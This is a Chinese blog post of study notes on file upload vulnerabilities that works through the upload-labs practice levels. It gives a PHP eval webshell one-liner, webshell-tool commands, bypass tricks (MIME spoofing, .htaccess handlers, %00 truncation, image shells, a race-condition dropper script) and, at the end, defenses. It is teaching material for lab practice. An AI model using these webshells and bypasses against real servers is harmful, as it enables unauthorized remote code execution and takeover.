5-文件上传漏洞

1、文件上传漏洞原理

1.1 一句话木马

<?php @eval($_POST['xu']); ?>
其中@表示忽略错误,eval()函数表示把传进去的字符串作为php代码执行
从http post里面拿到参数叫xu的value,然后作为代码去执行,并忽略错误

2、Webshell介绍

一句话木马、大马、小马、图片马都是webshell中的一种
收集:https://github.com/tennc/webshell

3、网站控制工具

中国菜刀
中国蚁剑 https://github.com/AntSwordProject/antSword
weevely https://github.com/epinna/weevely3
哥斯拉 godzilla https://github.com/BeichenDream/Godzilla
冰蝎 behinder https://github.com/rebeyond/Behinder

3.1 中国蚁剑

右键添加

3.2 weevely

是一个Kali自带的命令行工具

生成一句话木马:weevely generate xu weevely.php
连接:weevely http://ip/xxx.php xu

3.3 哥斯拉

下载出来是一个jar包
启动:java -jar Godzilla.jar
管理 -> 生成webshell

3.4 冰蝎

启动:java -jar Behinder.jar
他的shell是现成的,在server文件夹中
密码默认是,rebeyond

4、文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,而且通过这个脚本文件获得了执行服务器端命令的能力。

5、文件上传漏洞靶场安装

6、文件上传漏洞靶场练习

6.1 第一关

观察发现,属于JS代码前端检查checkfile()
可以直接删除前端代码,绕过检查

6.2 第二关

属于php后端校验,检查文件类型,在http请求中的MIME字段。

6.2.1 MIME用法

MIME 描述
text/html HTML格式
application/json JSON数据格式
multipart/form-data 文件上传(二进制数据)
image/jpeg jpg图片格式

客户端使用:
1、GET请求不需要这个字段
2、POST请求头,放在Content Type字段用来指定上传的文件类型,方便服务器解析。放在Accept,告诉服务端允许接收的相应类型。比如只能接受json或者其他

服务端使用:
1、放在响应头里面,Conetent Type告诉客户端相应的数据类型,方便客户端解析

绕过方式:通过抓包修改MIME数据类型,修改Content-Type为image/jpeg

6.3 第三关

前两关是白名单验证,这关是黑名单
绕过方式:等价拓展名

语言 等价拓展名
asp asa,cer,cdx
aspx ashx,asmx,ascx
php php2,php3,php4,php5,phps,phtml
jsp jspx,jspf

提示:复现要的话,php不能是nts非线性版本。并添加http.conf代码:AddType application/x-httpd-php .php .phtml .php3 .php5

6.4 第四关

黑名单更全
思路:把php文件重命名为jpg后缀,并上传到服务器,想办法让服务器解析它

6.4.1 Hypertext Access(.htaccess)

超文本入口,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件拓展名、允许/组织特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

伪静态 如discuz框架
https://www.52pojie.cn/thread-150418-1-1.html
https://www.52pojie.cn/thread.php?id=1530418&page=1
其实是通过thread.php把参数传给后端,然后从数据库中取出
通过htaccess转变

绕过:所以只需要再上传一个.htaccess文件即可
<FilesMatch "post.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

6.5 第五关(第五关是后面加入的,先跳过)

6.6 第六关

限制了第四关的方法,审计对比代码,发现少了大小写绕过
上传post.PHP即可

6.7 第七关

审计对比代码,发现少了首尾去空格绕过

但是由于windows操作系统,在文件末尾加空格会自动删除,所以通过抓包改包

6.8 第八关

审计对比代码,发现少了删除文件名末尾的点绕过

由于windows操作系统,不允许只有文件名没有后缀名,但是允许只有后缀名没有文件名,所以通过抓包改包

6.9 第九关

审计对比代码,发现少了去除字符串::$DATA绕过

抓包,在后面加上::$DATA

6.10 第十关

审计对比代码,先删除文件名末尾的点,再去除首尾空格

可以考虑"post.php. ."绕过1

6.11 第十一关

审计代码,发现当出现黑名单里的内容时,直接替换成空

考虑双写绕过"post.pphphp"

6.12 第十二关

通过抓包,发现上传路径可控,可以从前端参数修改

文件名截断绕过%00

自动拼接成../upload/post.php%00post.png

6.13 第十三关

变成了POST请求,由于不在url中,所以%00不能用,用十六进制的00

6.14 第十四关

只检查图标内容开头的2个字节

常见文件的文件头标志 "https://cnblogs.com/WangAoBo/p/6366211.html"
windows制作图片马:copy photo.png /b + post.php /a shell.png
linux制作图片马:cat photo.png post.php > shell.png

上传成功后,使用文件包含漏洞运行图片马
发现include.php页面,且包含参数file
测试连接http://127.0.0.1/upload-labs/include.php?file=upload/4320241202075533.png

6.15 第十五关

使用了一个getimagesize()函数,用来判断是不是有效的图片,没区别

6.16 第十六关

跟十四关相比,多了一个exif_imagetype()函数,但是功能一样,读取文件的第一个字节并检查其签名,没区别

6.17 第十七关

提示:使用imagecreatefromjpeg,对图片进行了重新渲染
使用了一个basename()函数,返回基本的文件名。
在处理中,关键使用了imagecreatefromjpeg()函数,用你的图片创建一个新的图像

虽然上传成功了,但是一句话木马被二次渲染删除了
思路:用别人做好的图片上传

6.18 第十八关

进行代码审计

由于文件会先被上传,然后在进行判断,存在时间差
思路:上传一个PHP文件,该文件会生成一句话木马PHP文件

条件竞争competition.php:<?php fputs(fopen('xu.php','w'),'<?php @eval($_POST["xu"])?>');?>

但是出现新的问题,我们还没访问competition.php它就被删除了
解决方法:BP抓包send to intruder不断爆破,然后写python代码不断访问,总有一次可以上传成功

设置最大20个并发线程

然后不断访问competition.php的URL地址

import requests
url = "http://localhost/upload-labs/upload/competition.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

6.19 第十九关

进行代码审计
包含了一个myupload.php的文件,白名单
思路:假如文件上传足够快,后端服务器处理不过来,导致文件上传了,但是没有被重命名

shell.php.7z利用解析apache的漏洞,会把文件当成第一个后缀

6.20 第二十关

提示:取文件名通过$_POST来获取。
查看源码,黑名单控制,从post请求中获取自己编辑的'save_name'

思路:利用move_uploaded_file()函数的漏洞,在文件名后面加上/.会自动忽略
当它对比黑名单的时候post.php/.就会无法命中

6.21 第二十一关、

审计代码!

思路:BP抓包先修改MIME类型,save_name要组成一个数组,关键是 $file_name = reset($file) . '.' . $file[count($file) - 1];要让cont-1处的数组为空,这样就不会拼接东西


7、文件上传漏洞发现与利用

若没有文件上传功能:

Redis KV 持久化+未授权访问漏洞(没有配置密码)
内存的内容会同步到磁盘中,写入一句话木马

MySQL 读写 select into file ...

绕过总结:
删除/禁用JS、修改MIME、等价拓展名、大小写绕过、htaccess、双写、空格、点、::$DATA、%00截断、0x00截断、图片马、条件竞争等等

自动化https://github.com/almandin/fuxploider

8、文件上传漏洞防御

8.1 文件上传漏洞发生前提

1、网站上传功能能正常使用
2、文件类型允许上传
3、上传路径可以确定
4、文件可以被访问,可以被执行或被包含的权限

8.2 防御措施

1、扩展名(后缀)黑白名单
2、MIME类型校验(image/jepg)
3、文件内容头校验(GIF89a)
4、对文件内容进行二次渲染
5、对上传的文件重命名,不易被猜测
6、不要暴露上传文件的位置
7、禁用上传文件的执行权限

posted @ 2024-12-02 18:49  xmh666  阅读(20)  评论(0编辑  收藏  举报